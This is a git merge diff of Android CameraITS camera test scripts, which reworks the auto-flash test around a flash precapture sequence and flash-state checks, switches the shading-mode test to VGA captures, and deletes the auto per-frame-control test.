Merge 3255022f5a382fe873499a16e0a6fdd6a28af681 on remote branch

Change-Id: Icb94d5d39d0e5de70a3d43be8e64ee17067d02bd
diff --git a/apps/CameraITS/config.yml b/apps/CameraITS/config.yml
index 7302e3c..b9b0ddf 100644
--- a/apps/CameraITS/config.yml
+++ b/apps/CameraITS/config.yml
@@ -20,9 +20,9 @@
     # Test configuration for scenes[0:4, 6, _change]
     Controllers:
         AndroidDevice:
-          - serial: <device_id>
+          - serial: <device_id>  # quotes are needed if serial id is entirely numeric
             label: dut
-          - serial: <tablet_id>
+          - serial: <tablet_id>  # quotes are needed if serial id is entirely numeric
             label: tablet
     TestParams:
       brightness: 192
@@ -37,7 +37,7 @@
     # Test configuration for sensor_fusion/test_sensor_fusion.py
     Controllers:
         AndroidDevice:
-          - serial: <device-id>
+          - serial: <device-id>  # quotes are needed if serial id is entirely numeric
             label: dut
     TestParams:
       fps: 30
@@ -45,7 +45,7 @@
       test_length: 7
       debug_mode: "False"  # quotes are needed here
       chart_distance: 25
-      rotator_cntl: <controller-type>  # arduino, canakit, or as-is for manual
+      rotator_cntl: "arduino"  # Note: only sensor fusion supports manual
       rotator_ch: <controller-channel>
       camera: <camera-id>
 
diff --git a/apps/CameraITS/tests/its_base_test.py b/apps/CameraITS/tests/its_base_test.py
index 9b29ab7..daa55c6 100644
--- a/apps/CameraITS/tests/its_base_test.py
+++ b/apps/CameraITS/tests/its_base_test.py
@@ -52,6 +52,8 @@
     'sensor_fusion': [],
 }
 
+logging.getLogger('matplotlib.font_manager').disabled = True
+
 
 class ItsBaseTest(base_test.BaseTestClass):
   """Base test for CameraITS tests.
diff --git a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
index 7d8b9f2..e407fd6 100644
--- a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
+++ b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
@@ -71,7 +71,6 @@
       props = cam.get_camera_properties()
       props = cam.override_with_hidden_physical_camera_props(props)
       log_path = self.log_path
-      debug = self.debug_mode
       test_name_w_path = os.path.join(log_path, NAME)
 
       # check SKIP conditions
@@ -113,11 +112,6 @@
         caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
         luma_locked = []
         for i, cap in enumerate(caps):
-          if debug:
-            img = image_processing_utils.convert_capture_to_rgb_image(
-                cap, props)
-            image_processing_utils.write_image(
-                img, f'{test_name_w_path}_ev{ev}_frame{i}.jpg')
           if cap['metadata']['android.control.aeState'] == LOCKED:
             ev_meta = cap['metadata']['android.control.aeExposureCompensation']
             logging.debug('cap EV compensation: %d', ev_meta)
@@ -132,7 +126,8 @@
                                   rel_tol=luma_locked_rtol):
                 raise AssertionError(f'AE locked lumas: {luma_locked}, '
                                      f'RTOL: {luma_locked_rtol}')
-      logging.debug('lumas in AE locked captures: %s', str(lumas))
+        logging.debug('lumas per frame ev %d: %s', ev, str(luma_locked))
+      logging.debug('mean lumas in AE locked captures: %s', str(lumas))
       if caps[THRESH_CONVERGE_FOR_EV-1]['metadata'][
           'android.control.aeState'] != LOCKED:
         raise AssertionError(f'No AE lock by {THRESH_CONVERGE_FOR_EV} frame.')
diff --git a/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py b/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py
index e3143f4..7fffa72 100644
--- a/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py
+++ b/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py
@@ -32,6 +32,7 @@
 _SHADING_MODES = {0: 'LSC_OFF', 1: 'LSC_FAST', 2: 'LSC_HQ'}
 _NUM_SHADING_MODES = len(_SHADING_MODES)
 _THRESHOLD_DIFF_RATIO = 0.15
+_VGA_W, _VGA_H = 640, 480
 
 
 def create_plots(shading_maps, reference_maps, num_map_gains, log_path):
@@ -76,9 +77,8 @@
 
   Lens shading correction modes are OFF=0, FAST=1, and HQ=2.
 
-  Uses smallest yuv size matching the aspect ratio of largest yuv size to
-  reduce some USB bandwidth overhead since we are only looking at output
-  metadata in this test.
+  Uses VGA sized captures to reduce some USB bandwidth overhead since we are
+  only looking at output metadata in this test.
 
   First asserts all modes are supported. Then runs 2 captures.
 
@@ -118,13 +118,11 @@
                        % str(props.get('android.shading.availableModes')),
                        [*_SHADING_MODES])
 
-      # get smallest matching fmt
+      # define fmt
       mono_camera = camera_properties_utils.mono_camera(props)
       cam.do_3a(mono_camera=mono_camera)
-      largest_yuv_fmt = capture_request_utils.get_largest_yuv_format(props)
-      largest_yuv_size = (largest_yuv_fmt['width'], largest_yuv_fmt['height'])
-      cap_fmt = capture_request_utils.get_smallest_yuv_format(
-          props, match_ar=largest_yuv_size)
+      cap_fmt = {'format': 'yuv', 'width': _VGA_W, 'height': _VGA_H}
+      logging.debug('Capture format: %s', str(cap_fmt))
 
       # cap1
       reference_maps = [[] for mode in range(_NUM_SHADING_MODES)]
diff --git a/apps/CameraITS/tests/scene2_a/test_auto_flash.py b/apps/CameraITS/tests/scene2_a/test_auto_flash.py
index f1b879b..9111e80 100644
--- a/apps/CameraITS/tests/scene2_a/test_auto_flash.py
+++ b/apps/CameraITS/tests/scene2_a/test_auto_flash.py
@@ -1,4 +1,4 @@
-# Copyright 2013 The Android Open Source Project
+# Copyright 2022 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -11,27 +11,30 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-"""Verifies android.flash.mode parameters is applied when set."""
+"""Verifies that flash is fired when lighting conditions are dark."""
 
 
 import logging
 import os.path
-from mobly import test_runner
 
-import its_base_test
 import camera_properties_utils
 import capture_request_utils
-import lighting_control_utils
 import image_processing_utils
+import its_base_test
 import its_session_utils
+import lighting_control_utils
+from mobly import test_runner
 
 AE_MODES = {0: 'OFF', 1: 'ON', 2: 'ON_AUTO_FLASH', 3: 'ON_ALWAYS_FLASH',
             4: 'ON_AUTO_FLASH_REDEYE', 5: 'ON_EXTERNAL_FLASH'}
 AE_STATES = {0: 'INACTIVE', 1: 'SEARCHING', 2: 'CONVERGED', 3: 'LOCKED',
              4: 'FLASH_REQUIRED', 5: 'PRECAPTURE'}
-_GRAD_DELTA_ATOL = 50  # gradiant for tablets as screen aborbs energy
-_MEAN_DELTA_ATOL = 50  # mean used for reflective charts
-_NUM_FRAMES = 8
+FLASH_STATES = {0: 'FLASH_STATE_UNAVAILABLE', 1: 'FLASH_STATE_CHARGING',
+                2: 'FLASH_STATE_READY', 3: 'FLASH_STATE_FIRED',
+                4: 'FLASH_STATE_PARTIAL'}
+_GRAD_DELTA_ATOL = 15  # gradiant for tablets as screen aborbs energy
+_MEAN_DELTA_ATOL = 15  # mean used for reflective charts
+
 _PATCH_H = 0.25  # center 25%
 _PATCH_W = 0.25
 _PATCH_X = 0.5 - _PATCH_W/2
@@ -40,27 +43,60 @@
 VGA_W, VGA_H = 640, 480
 _CAPTURE_INTENT_STILL_CAPTURE = 2
 _AE_MODE_ON_AUTO_FLASH = 2
+_CAPTURE_INTENT_PREVIEW = 1
+_CAPTURE_INTENT_STILL_CAPTURE = 2
+_AE_PRECAPTURE_TRIGGER_START = 1
+_AE_PRECAPTURE_TRIGGER_IDLE = 0
 
 
-def take_captures(cam, auto_flash=False):
-  req = capture_request_utils.auto_capture_request()
-  req['android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE
-  if auto_flash:
-    req['android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH
-  fmt = {'format': 'yuv', 'width': VGA_W, 'height': VGA_H}
-  captures = []
-  for _ in range(_NUM_FRAMES):
-    one_capture = cam.do_capture(req, fmt)
-    captures.append(one_capture)
-  return captures
+def turn_off_tablet(tablet_device):
+  output = tablet_device.adb.shell('dumpsys display | grep mScreenState')
+  output_list = str(output.decode('utf-8')).strip().split(' ')
+  for val in output_list:
+    if 'ON' in val:
+      tablet_device.adb.shell(['input', 'keyevent', 'KEYCODE_POWER'])
+
+
+def take_captures_with_flash(cam, fmt):
+  # Run precapture sequence by setting the aePrecapture trigger to
+  # START and capture intent set to Preview.
+  preview_req_start = capture_request_utils.auto_capture_request()
+  preview_req_start[
+      'android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH
+  preview_req_start[
+      'android.control.captureIntent'] = _CAPTURE_INTENT_PREVIEW
+  preview_req_start[
+      'android.control.aePrecaptureTrigger'] = _AE_PRECAPTURE_TRIGGER_START
+  # Repeat preview requests with aePrecapture set to IDLE
+  # until AE is converged.
+  preview_req_idle = capture_request_utils.auto_capture_request()
+  preview_req_idle[
+      'android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH
+  preview_req_idle[
+      'android.control.captureIntent'] = _CAPTURE_INTENT_PREVIEW
+  preview_req_idle[
+      'android.control.aePrecaptureTrigger'] = _AE_PRECAPTURE_TRIGGER_IDLE
+  # Single still capture request.
+  still_capture_req = capture_request_utils.auto_capture_request()
+  still_capture_req[
+      'android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH
+  still_capture_req[
+      'android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE
+  still_capture_req[
+      'android.control.aePrecaptureTrigger'] = _AE_PRECAPTURE_TRIGGER_IDLE
+  cap = cam.do_capture_with_flash(preview_req_start,
+                                  preview_req_idle,
+                                  still_capture_req, fmt)
+  return cap
 
 
 class AutoFlashTest(its_base_test.ItsBaseTest):
-  """Test that the android.flash.mode parameter is applied."""
+  """Test that flash is fired when lighting conditions are dark."""
 
   def test_auto_flash(self):
     logging.debug('AE_MODES: %s', str(AE_MODES))
     logging.debug('AE_STATES: %s', str(AE_STATES))
+    logging.debug('FLASH_STATES: %s', str(FLASH_STATES))
 
     with its_session_utils.ItsSession(
         device_id=self.dut.serial,
@@ -71,10 +107,10 @@
       test_name = os.path.join(self.log_path, _TEST_NAME)
 
       # check SKIP conditions
-      first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
+      vendor_api_level = its_session_utils.get_vendor_api_level(self.dut.serial)
       camera_properties_utils.skip_unless(
           camera_properties_utils.flash(props) and
-          first_api_level >= its_session_utils.ANDROID13_API_LEVEL)
+          vendor_api_level >= its_session_utils.ANDROID13_API_LEVEL)
 
       # establish connection with lighting controller
       arduino_serial_port = lighting_control_utils.lighting_control(
@@ -86,23 +122,22 @@
 
       # turn OFF tablet to darken scene
       if self.tablet:
-        output = self.tablet.adb.shell('dumpsys display | grep mScreenState')
-        output_list = str(output.decode('utf-8')).strip().split(' ')
-        for val in output_list:
-          if 'ON' in val:
-            self.tablet.adb.shell(['input', 'keyevent', 'KEYCODE_POWER'])
-
+        turn_off_tablet(self.tablet)
+      fmt_name = 'jpeg'
+      fmt = {'format': fmt_name}
+      logging.debug('Testing %s format.', fmt_name)
       no_flash_exp_x_iso = 0
       no_flash_mean = 0
       no_flash_grad = 0
       flash_exp_x_iso = []
-      flash_means = []
-      flash_grads = []
 
-      # take captures with no flash as baseline: use last frame
-      logging.debug('Taking reference frame(s) with no flash.')
+      # take capture with no flash as baseline
+      logging.debug('Taking reference frame with no flash.')
       cam.do_3a(do_af=False)
-      cap = take_captures(cam)[_NUM_FRAMES-1]
+      no_flash_req = capture_request_utils.auto_capture_request()
+      no_flash_req[
+          'android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE
+      cap = cam.do_capture(no_flash_req, fmt)
       metadata = cap['metadata']
       exp = int(metadata['android.sensor.exposureTime'])
       iso = int(metadata['android.sensor.sensitivity'])
@@ -120,65 +155,78 @@
           patch)[0]*255
       no_flash_grad = image_processing_utils.compute_image_max_gradients(
           patch)[0]*255
-      image_processing_utils.write_image(y, f'{test_name}_no_flash_Y.jpg')
+      image_processing_utils.write_image(
+          y, f'{test_name}_{fmt_name}_no_flash_Y.jpg')
 
       # log results
       logging.debug('No flash exposure X ISO %d', no_flash_exp_x_iso)
       logging.debug('No flash Y grad: %.4f', no_flash_grad)
       logging.debug('No flash Y mean: %.4f', no_flash_mean)
 
-      # take captures with auto flash enabled
-      logging.debug('Taking frames with auto flash enabled.')
-      cam.do_3a(do_af=False, auto_flash=True)
-      caps = take_captures(cam, auto_flash=True)
+      # take capture with auto flash enabled
+      logging.debug('Taking capture with auto flash enabled.')
+      flash_fired = False
 
-      # evaluate captured images
-      for i in range(_NUM_FRAMES):
-        logging.debug('frame # %d', i)
-        metadata = caps[i]['metadata']
-        exp = int(metadata['android.sensor.exposureTime'])
-        iso = int(metadata['android.sensor.sensitivity'])
-        logging.debug('ISO: %d, exp: %d ns', iso, exp)
-        logging.debug('AE_MODE (cap): %s',
-                      AE_MODES[metadata['android.control.aeMode']])
-        ae_state = AE_STATES[metadata['android.control.aeState']]
-        logging.debug('AE_STATE (cap): %s', ae_state)
-        flash_exp_x_iso.append(exp*iso)
+      cap = take_captures_with_flash(cam, fmt)
+      y, _, _ = image_processing_utils.convert_capture_to_planes(
+          cap, props)
+      # Save captured image
+      image_processing_utils.write_image(y,
+                                         f'{test_name}_{fmt_name}_flash_Y.jpg')
+      # evaluate captured image
+      metadata = cap['metadata']
+      exp = int(metadata['android.sensor.exposureTime'])
+      iso = int(metadata['android.sensor.sensitivity'])
+      logging.debug('cap ISO: %d, exp: %d ns', iso, exp)
+      logging.debug('AE_MODE (cap): %s',
+                    AE_MODES[metadata['android.control.aeMode']])
+      ae_state = AE_STATES[metadata['android.control.aeState']]
+      logging.debug('AE_STATE (cap): %s', ae_state)
+      flash_state = FLASH_STATES[metadata['android.flash.state']]
+      logging.debug('FLASH_STATE: %s', flash_state)
+      if flash_state == 'FLASH_STATE_FIRED':
+        logging.debug('Flash fired')
+        flash_fired = True
+        flash_exp_x_iso = exp*iso
         y, _, _ = image_processing_utils.convert_capture_to_planes(
-            caps[i], props)
+            cap, props)
         patch = image_processing_utils.get_image_patch(
             y, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
-        flash_means.append(
-            image_processing_utils.compute_image_means(patch)[0]*255)
-        flash_grads.append(
-            image_processing_utils.compute_image_max_gradients(patch)[0]*255)
+        flash_mean = image_processing_utils.compute_image_means(
+            patch)[0]*255
+        flash_grad = image_processing_utils.compute_image_max_gradients(
+            patch)[0]*255
 
-        image_processing_utils.write_image(
-            y, f'{test_name}_auto_flash_Y_{i}.jpg')
-
-        if i == 0:
-          if ae_state != AE_STATES[4]:  # FLASH_REQUIRED
-            raise AssertionError('Scene not dark enough to trigger auto-flash. '
-                                 'Check scene.')
+      if not flash_fired:
+        raise AssertionError('Flash was not fired.')
 
       # log results
-      logging.debug('Flash exposure X ISOs %s', str(flash_exp_x_iso))
-      logging.debug('Flash frames Y grads: %s', str(flash_grads))
-      logging.debug('Flash frames Y means: %s', str(flash_means))
-
-      # turn lights back ON
-      lighting_control_utils.set_lighting_state(
-          arduino_serial_port, self.lighting_ch, 'ON')
+      logging.debug('Flash exposure X ISO %d', flash_exp_x_iso)
+      logging.debug('Flash frames Y grad: %.4f', flash_grad)
+      logging.debug('Flash frames Y mean: %.4f', flash_mean)
 
       # assert correct behavior
-      grad_delta = max(flash_grads) - no_flash_grad
-      mean_delta = max(flash_means) - no_flash_mean
+      grad_delta = flash_grad - no_flash_grad
+      mean_delta = flash_mean - no_flash_mean
       if not (grad_delta > _GRAD_DELTA_ATOL or
               mean_delta > _MEAN_DELTA_ATOL):
         raise AssertionError(
             f'grad FLASH-OFF: {grad_delta:.3f}, ATOL: {_GRAD_DELTA_ATOL}, '
             f'mean FLASH-OFF: {mean_delta:.3f}, ATOL: {_MEAN_DELTA_ATOL}')
 
+      # Ensure that the flash is turned OFF after flash was fired.
+      req = capture_request_utils.auto_capture_request()
+      req['android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE
+      cap = cam.do_capture(req, fmt)
+      flash_state_after = FLASH_STATES[cap['metadata']['android.flash.state']]
+      logging.debug('FLASH_STATE after flash fired: %s', flash_state_after)
+      if flash_state_after != 'FLASH_STATE_READY':
+        raise AssertionError('Flash should turn OFF after it was fired.')
+
+      # turn lights back ON
+      lighting_control_utils.set_lighting_state(
+          arduino_serial_port, self.lighting_ch, 'ON')
+
 if __name__ == '__main__':
   test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene2_a/test_num_faces.py b/apps/CameraITS/tests/scene2_a/test_num_faces.py
index 304b67b..f7e111b 100644
--- a/apps/CameraITS/tests/scene2_a/test_num_faces.py
+++ b/apps/CameraITS/tests/scene2_a/test_num_faces.py
@@ -16,6 +16,8 @@
 
 import logging
 import os.path
+
+import cv2
 from mobly import test_runner
 
 import its_base_test
@@ -23,7 +25,6 @@
 import capture_request_utils
 import image_processing_utils
 import its_session_utils
-import cv2
 
 FD_MODE_OFF = 0
 FD_MODE_SIMPLE = 1
@@ -149,8 +150,7 @@
       logging.debug('active array size: %s', str(a))
       file_name_stem = os.path.join(self.log_path, NAME)
 
-      if camera_properties_utils.read_3a(props):
-        _, _, _, _, _ = cam.do_3a(get_results=True, mono_camera=mono_camera)
+      cam.do_3a(mono_camera=mono_camera)
 
       for fd_mode in fd_modes:
         logging.debug('face detection mode: %d', fd_mode)
diff --git a/apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py b/apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py
deleted file mode 100644
index eaa5531..0000000
--- a/apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py
+++ /dev/null
@@ -1,305 +0,0 @@
-# Copyright 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-"""Verifies per_frame_control."""
-
-
-import logging
-import os.path
-import matplotlib
-from matplotlib import pylab
-from mobly import test_runner
-import numpy as np
-
-import its_base_test
-import camera_properties_utils
-import capture_request_utils
-import image_processing_utils
-import its_session_utils
-
-_AE_STATE_CONVERGED = 2
-_AE_STATE_FLASH_REQUIRED = 4
-_DELTA_GAIN_THRESH = 3  # >3% gain change --> luma change in same dir.
-_DELTA_LUMA_THRESH = 3  # 3% frame-to-frame noise test_burst_sameness_manual.
-_DELTA_NO_GAIN_THRESH = 1  # <1% gain change --> min luma change.
-_NAME = os.path.splitext(os.path.basename(__file__))[0]
-_NS_TO_MS = 1.0E-6
-_NUM_CAPS = 1
-_NUM_FRAMES = 30
-_PATCH_H = 0.1  # Center 10%.
-_PATCH_W = 0.1
-_PATCH_X = 0.5 - _PATCH_W/2
-_PATCH_Y = 0.5 - _PATCH_H/2
-_RAW_NIBBLE_SIZE = 6  # Used to increase NUM_CAPS & decrease NUM_FRAMES for RAW.
-_RAW_GR_CH = 1
-_VALID_LUMA_MIN = 0.1
-_VALID_LUMA_MAX = 0.9
-_YUV_Y_CH = 0
-
-
-def _check_delta_luma_vs_delta_gain(fmt, j, lumas, total_gains):
-  """Determine if luma and gain move together for current frame."""
-  delta_gain = total_gains[j] - total_gains[j-1]
-  delta_luma = lumas[j] - lumas[j-1]
-  delta_gain_rel = delta_gain / total_gains[j-1] * 100  # %
-  delta_luma_rel = delta_luma / lumas[j-1] * 100  # %
-  # luma and total_gain should change in same direction
-  if abs(delta_gain_rel) > _DELTA_GAIN_THRESH:
-    logging.debug('frame %d: %.2f%% delta gain, %.2f%% delta luma',
-                  j, delta_gain_rel, delta_luma_rel)
-    if delta_gain * delta_luma < 0.0:
-      return (f"{fmt['format']}: frame {j}: gain {total_gains[j-1]:.1f} "
-              f'-> {total_gains[j]:.1f} ({delta_gain_rel:.1f}%), '
-              f'luma {lumas[j-1]} -> {lumas[j]} ({delta_luma_rel:.2f}%) '
-              f'GAIN/LUMA OPPOSITE DIR')
-  elif abs(delta_gain_rel) < _DELTA_NO_GAIN_THRESH:
-    logging.debug('frame %d: <|%.1f%%| delta gain, %.2f%% delta luma', j,
-                  _DELTA_NO_GAIN_THRESH, delta_luma_rel)
-    if abs(delta_luma_rel) > _DELTA_LUMA_THRESH:
-      return (f"{fmt['format']}: frame {j}: gain {total_gains[j-1]:.1f} "
-              f'-> {total_gains[j]:.1f} ({delta_gain_rel:.1f}%), '
-              f'luma {lumas[j-1]} -> {lumas[j]} ({delta_luma_rel:.2f}%), '
-              f'<|{_DELTA_NO_GAIN_THRESH:.1f}%| GAIN, '
-              f'>|{_DELTA_LUMA_THRESH:.1f}%| LUMA DELTA')
-  else:
-    logging.debug('frame %d: %.1f%% delta gain, %.2f%% delta luma',
-                  j, delta_gain_rel, delta_luma_rel)
-    return None
-
-
-def _determine_test_formats(cam, props, raw_avlb, debug):
-  """Determines the capture formats to test.
-
-  Args:
-    cam: Camera capture object.
-    props: Camera properties dict.
-    raw_avlb: Boolean for if RAW captures are available.
-    debug: Boolean for whether in debug mode.
-  Returns:
-    fmts: List of formats.
-  """
-  largest_yuv = capture_request_utils.get_largest_yuv_format(props)
-  match_ar = (largest_yuv['width'], largest_yuv['height'])
-  fmt = capture_request_utils.get_smallest_yuv_format(
-      props, match_ar=match_ar)
-  if raw_avlb and debug:
-    return (cam.CAP_RAW, fmt)
-  else:
-    return (fmt,)
-
-
-def _tabulate_frame_data(metadata, luma, raw_cap, debug):
-  """Puts relevant frame data into a dictionary."""
-  ae_state = metadata['android.control.aeState']
-  iso = metadata['android.sensor.sensitivity']
-  isp_gain = metadata['android.control.postRawSensitivityBoost'] / 100
-  exp_time = metadata['android.sensor.exposureTime'] * _NS_TO_MS
-  total_gain = iso * exp_time
-  if not raw_cap:
-    total_gain *= isp_gain
-  awb_state = metadata['android.control.awbState']
-  frame = {
-      'awb_gains': metadata['android.colorCorrection.gains'],
-      'ccm': metadata['android.colorCorrection.transform'],
-      'fd': metadata['android.lens.focusDistance'],
-  }
-
-  # Convert CCM from rational to float, as numpy arrays.
-  awb_ccm = np.array(capture_request_utils.rational_to_float(
-      frame['ccm'])).reshape(3, 3)
-
-  logging.debug('AE: %d ISO: %d ISP_sen: %d exp: %4fms tot_gain: %f luma: %f',
-                ae_state, iso, isp_gain, exp_time, total_gain, luma)
-  logging.debug('fd: %f', frame['fd'])
-  logging.debug('AWB state: %d, AWB gains: %s\n AWB matrix: %s', awb_state,
-                str(frame['awb_gains']), str(awb_ccm))
-  if debug:
-    logging.debug('Tonemap curve: %s', str(metadata['android.tonemap.curve']))
-
-  return frame, ae_state, total_gain
-
-
-def _compute_frame_luma(cap, props, raw_cap):
-  """Determines the luma for the center patch of the frame.
-
-  RAW captures use GR plane, YUV captures use Y plane.
-
-  Args:
-    cap: Camera capture object.
-    props: Camera properties dict.
-    raw_cap: Boolean for capture is RAW or YUV.
-  Returns:
-    luma: Luma value for center patch of image.
-  """
-  if raw_cap:
-    plane = image_processing_utils.convert_capture_to_planes(
-        cap, props=props)[_RAW_GR_CH]
-  else:
-    plane = image_processing_utils.convert_capture_to_planes(cap)[_YUV_Y_CH]
-
-  patch = image_processing_utils.get_image_patch(
-      plane, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
-  return image_processing_utils.compute_image_means(patch)[0]
-
-
-def _plot_data(lumas, gains, fmt, log_path):
-  """Plots lumas and gains data for this test.
-
-  Args:
-    lumas: List of luma data from captures.
-    gains: List of gain data from captures.
-    fmt: String to identify 'YUV' or 'RAW' plots.
-    log_path: Location to store data.
-  """
-  norm_gains = [x / max(gains) * max(lumas) for x in gains]
-
-  pylab.figure(fmt)
-  pylab.plot(range(len(lumas)), lumas, '-g.', label='Center patch brightness')
-  pylab.plot(range(len(gains)), norm_gains, '-r.',
-             label='Metadata AE setting product')
-  pylab.title(_NAME + ' ' + fmt)
-  pylab.xlabel('frame index')
-
-  # expand y axis for low delta results
-  ymin = min(norm_gains + lumas)
-  ymax = max(norm_gains + lumas)
-  yavg = (ymax + ymin) / 2.0
-  if ymax - ymin < 3 * _DELTA_LUMA_THRESH/100:
-    ymin = round(yavg - 1.5 * _DELTA_LUMA_THRESH/100, 3)
-    ymax = round(yavg + 1.5 * _DELTA_LUMA_THRESH/100, 3)
-    pylab.ylim(ymin, ymax)
-  pylab.legend()
-  matplotlib.pyplot.savefig(
-      '%s_plot_%s.png' % (os.path.join(log_path, _NAME), fmt))
-
-
-def _is_awb_af_stable(cap_info, i):
-  """Determines if Auto White Balance and Auto Focus are stable."""
-  awb_gains_i_1 = cap_info[i-1]['awb_gains']
-  awb_gains_i = cap_info[i]['awb_gains']
-
-  return (np.allclose(awb_gains_i_1, awb_gains_i, rtol=0.01) and
-          cap_info[i-1]['ccm'] == cap_info[i]['ccm'] and
-          np.isclose(cap_info[i-1]['fd'], cap_info[i]['fd'], rtol=0.01))
-
-
-class AutoPerFrameControlTest(its_base_test.ItsBaseTest):
-  """Tests PER_FRAME_CONTROL properties for auto capture requests.
-
-  Takes a sequence of images with auto capture request.
-  Determines if luma and gain settings move in same direction for large setting
-  changes.
-  Small settings changes should result in small changes in luma.
-  Threshold for checking is DELTA_GAIN_THRESH. Theshold where not change is
-  expected is DELTA_NO_GAIN_THRESH.
-
-  While not included in this test, if camera debug is required:
-    MANUAL_POSTPROCESSING capability is implied since
-    camera_properties_utils.read_3a is valid for test.
-
-    debug can also be performed with a defined tonemap curve:
-      req['android.tonemap.mode'] = 0
-      gamma = sum([[i/63.0,math.pow(i/63.0,1/2.2)] for i in xrange(64)],[])
-      req['android.tonemap.curve'] = {'red': gamma, 'green': gamma,
-                                      'blue': gamma}
-  """
-
-  def test_auto_per_frame_control(self):
-    logging.debug('Starting %s', _NAME)
-    with its_session_utils.ItsSession(
-        device_id=self.dut.serial,
-        camera_id=self.camera_id,
-        hidden_physical_id=self.hidden_physical_id) as cam:
-      props = cam.get_camera_properties()
-      props = cam.override_with_hidden_physical_camera_props(props)
-      log_path = self.log_path
-
-      # Check SKIP conditions.
-      camera_properties_utils.skip_unless(
-          camera_properties_utils.per_frame_control(props) and
-          camera_properties_utils.read_3a(props))
-
-      # Load chart for scene.
-      its_session_utils.load_scene(
-          cam, props, self.scene, self.tablet, self.chart_distance)
-
-      debug = self.debug_mode
-      raw_avlb = camera_properties_utils.raw16(props)
-      fmts = _determine_test_formats(cam, props, raw_avlb, debug)
-
-      failed = []
-      for i, fmt in enumerate(fmts):
-        logging.debug('fmt: %s', str(fmt['format']))
-        cam.do_3a()
-        req = capture_request_utils.auto_capture_request()
-        cap_info = {}
-        ae_states = []
-        lumas = []
-        total_gains = []
-        num_caps = _NUM_CAPS
-        num_frames = _NUM_FRAMES
-        raw_cap = i == 0 and raw_avlb and debug
-        # Break up caps if RAW to reduce bandwidth requirements.
-        if raw_cap:
-          num_caps = _NUM_CAPS * _RAW_NIBBLE_SIZE
-          num_frames = _NUM_FRAMES // _RAW_NIBBLE_SIZE
-
-        # Capture frames and tabulate info.
-        for j in range(num_caps):
-          caps = cam.do_capture([req] * num_frames, fmt)
-          for k, cap in enumerate(caps):
-            idx = k + j * num_frames
-            logging.debug('=========== frame %d ==========', idx)
-            luma = _compute_frame_luma(cap, props, raw_cap)
-            frame, ae_state, total_gain = _tabulate_frame_data(
-                cap['metadata'], luma, raw_cap, debug)
-            cap_info[idx] = frame
-            ae_states.append(ae_state)
-            lumas.append(luma)
-            total_gains.append(total_gain)
-
-             # Save image.
-            img = image_processing_utils.convert_capture_to_rgb_image(
-                cap, props=props)
-            image_processing_utils.write_image(img, '%s_frame_%s_%d.jpg' % (
-                os.path.join(log_path, _NAME), fmt['format'], idx))
-
-        _plot_data(lumas, total_gains, fmt['format'], log_path)
-
-        # Check correct behavior
-        logging.debug('fmt: %s', str(fmt['format']))
-        for j in range(1, num_caps * num_frames):
-          if _is_awb_af_stable(cap_info, j):
-            error_msg = _check_delta_luma_vs_delta_gain(
-                fmt, j, lumas, total_gains)
-            if error_msg:
-              failed.append(error_msg)
-          else:
-            logging.debug('frame %d -> %d: AWB/AF changed', j-1, j)
-
-        for j, luma in enumerate(lumas):
-          if ((ae_states[j] == _AE_STATE_CONVERGED or
-               ae_states[j] == _AE_STATE_FLASH_REQUIRED) and
-              (_VALID_LUMA_MIN > luma or luma > _VALID_LUMA_MAX)):
-            failed.append(
-                f"{fmt['format']}: frame {j} AE converged luma {luma}. "
-                f'Valid range: ({_VALID_LUMA_MIN}, {_VALID_LUMA_MAX})'
-            )
-      if failed:
-        logging.error('Error summary')
-        for fail in failed:
-          logging.error('%s', fail)
-        raise AssertionError
-
-if __name__ == '__main__':
-  test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
index 658ec8b..cb5be2a 100644
--- a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
@@ -27,7 +27,7 @@
 class CameraLaunchSPerfClassTest(its_base_test.ItsBaseTest):
   """Test camera launch latency for S performance class as specified in CDD.
 
-  [7.5/H-1-6] MUST have camera2 startup latency (open camera to first preview
+  [2.2.7.2/7.5/H-1-6] MUST have camera2 startup latency (open camera to first preview
   frame) < 600ms as measured by the CTS camera PerformanceTest under ITS
   lighting conditions (3000K) for both primary cameras.
   """
diff --git a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
index f56d34c..fb19f2f 100644
